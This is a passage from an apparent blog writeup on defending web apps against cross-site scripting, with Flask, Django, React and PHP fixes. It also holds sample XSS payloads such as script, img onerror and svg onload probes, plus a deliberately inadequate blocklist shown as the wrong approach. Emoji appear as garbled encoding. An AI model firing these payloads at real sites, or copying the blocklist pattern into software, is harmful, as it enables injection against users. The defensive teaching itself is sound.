# <strong>{{ comment.author }}</strong>
# <p>{{ comment.text }}</p> <!-- Auto-escaped! -->
# </div>
# {% endfor %}
# </div>Fix 2: Content Security Policy (CSP)
# โ
SECURE - Add CSP headers
from flask import Flask, make_response
@app.after_request
def add_security_headers(response):
# Content Security Policy
response.headers['Content-Security-Policy'] = (
"default-src 'self'; "
"script-src 'self'; " # Only allow scripts from same origin
"object-src 'none'; " # Disable plugins
"base-uri 'self'; "
"frame-ancestors 'none';"
)
# Additional security headers
response.headers['X-Content-Type-Options'] = 'nosniff'
response.headers['X-Frame-Options'] = 'DENY'
response.headers['X-XSS-Protection'] = '1; mode=block'
return response
# With CSP, even if XSS payload is injected:
# โโโ Inline <script> tags won't execute
# โโโ Only scripts from 'self' (same origin) allowed
# โโโ Blocks: <script>alert(1)</script>
# โโโ Blocks: <img onerror=...>
# โโโ Defense in depth โFix 3: Input Validation (Defense in Depth)
# โ INSUFFICIENT - Input validation alone doesn't prevent XSS
import re
from flask import Flask, request, abort
@app.route('/post-comment', methods=['POST'])
def post_comment_validation_only():
comment = request.form.get('comment')
# Input validation (helpful but not enough)
if not comment or len(comment) > 1000:
abort(400, 'Invalid comment length')
# Check for suspicious patterns (blocklist - BAD approach)
if '<script>' in comment.lower():
abort(400, 'Invalid comment content')
# โ Still vulnerable to: <img onerror=alert(1)>
# โ Still vulnerable to: <ScRiPt>alert(1)</ScRiPt>
# โ Still vulnerable to: <svg onload=alert(1)>
# Store comment
db.execute('INSERT INTO comments (text) VALUES (?)', (comment,))
return redirect('/blog')
# โ
BETTER - Input validation + output encoding
from markupsafe import escape
import re
@app.route('/post-comment', methods=['POST'])
def post_comment_secure():
comment = request.form.get('comment')
name = request.form.get('name')
# Input validation (defense in depth, not primary defense)
if not comment or len(comment) > 1000:
abort(400, 'Comment too long')
# Optional: Whitelist allowed characters (very restrictive)
# Only if your use case allows it
if not re.match(r'^[a-zA-Z0-9\s\.\,\!\?\'\"]+$', comment):
abort(400, 'Invalid characters in comment')
# Store raw data (encoding happens at output)
db.execute(
'INSERT INTO comments (text, author) VALUES (?, ?)',
(comment, name)
)
db.commit()
return redirect('/blog/post/1')
# CRITICAL: Always encode at output regardless of input validation!
@app.route('/blog/post/<int:post_id>')
def view_post(post_id):
comments = db.execute('SELECT text, author FROM comments').fetchall()
# PRIMARY DEFENSE: Output encoding
return render_template('post.html', comments=comments)
# Template auto-escapes all {{ variables }}Fix 4: Use Modern Frameworks
# โ
Django (Auto-escaping templates)
from django.shortcuts import render
from .models import Comment
def blog_post(request, post_id):
comments = Comment.objects.filter(post_id=post_id)
# Django templates auto-escape by default
return render(request, 'blog_post.html', {
'comments': comments
})
# Template: blog_post.html
# {% for comment in comments %}
# <div class="comment">
# <strong>{{ comment.author }}</strong> <!-- Auto-escaped -->
# <p>{{ comment.text }}</p> <!-- Auto-escaped -->
# </div>
# {% endfor %}
# To disable escaping (DANGEROUS - avoid):
# {{ comment.text|safe }} <!-- Only use if data is already sanitized! -->
// โ
React (Auto-escaping JSX)
function CommentList({ comments }) {
return (
<div className="comments">
{comments.map(comment => (
<div key={comment.id}>
<strong>{comment.author}</strong>
{/* JSX automatically escapes {variables} */}
<p>{comment.text}</p>
</div>
))}
</div>
);
}
// React prevents XSS by default
// To bypass (DANGEROUS - avoid):
// <div dangerouslySetInnerHTML={{ __html: comment.text }} />
<?php
// โ
PHP with proper escaping
function display_comments($post_id) {
$db = new PDO('sqlite:blog.db');
$stmt = $db->prepare('SELECT text, author FROM comments WHERE post_id = ?');
$stmt->execute([$post_id]);
$comments = $stmt->fetchAll();
echo '<div class="comments">';
foreach ($comments as $comment) {
// htmlspecialchars() encodes for HTML context
$safe_author = htmlspecialchars($comment['author'], ENT_QUOTES, 'UTF-8');
$safe_text = htmlspecialchars($comment['text'], ENT_QUOTES, 'UTF-8');
echo "<div>";
echo "<strong>$safe_author</strong>";
echo "<p>$safe_text</p>";
echo "</div>";
}
echo '</div>';
}
?>Fix 5: Sanitize HTML (If Rich Text Needed)
# If you MUST allow some HTML formatting:
# โ
Use HTML sanitizer library
import bleach
ALLOWED_TAGS = ['p', 'br', 'strong', 'em', 'u', 'a']
ALLOWED_ATTRIBUTES = {'a': ['href', 'title']}
@app.route('/post-comment', methods=['POST'])
def post_comment_html():
comment = request.form.get('comment')
# Sanitize: Remove dangerous tags/attributes
clean_comment = bleach.clean(
comment,
tags=ALLOWED_TAGS,
attributes=ALLOWED_ATTRIBUTES,
strip=True
)
# Store sanitized HTML
db.execute('INSERT INTO comments (text) VALUES (?)', (clean_comment,))
return redirect('/blog')
# Display sanitized HTML (mark as safe)
@app.route('/blog/post/<int:post_id>')
def view_post(post_id):
comments = db.execute('SELECT text FROM comments').fetchall()
# Since we sanitized on input, we can mark as safe
return render_template('post.html', comments=comments)
# Template: post.html
# {% for comment in comments %}
# {{ comment.text|safe }} <!-- Safe because sanitized -->
# {% endfor %}
# What bleach does:
# Input: <script>alert(1)</script><p>Hello</p>
# Output: <p>Hello</p> (script tag removed)
#
# Input: <p onclick="alert(1)">Click</p>
# Output: <p>Click</p> (onclick removed)๐ If this helped you โ clap it up (you can clap up to 50 times!)
๐ Follow for more writeups โ dropping soon
๐ Share with your pentest team
๐ฌ Drop a comment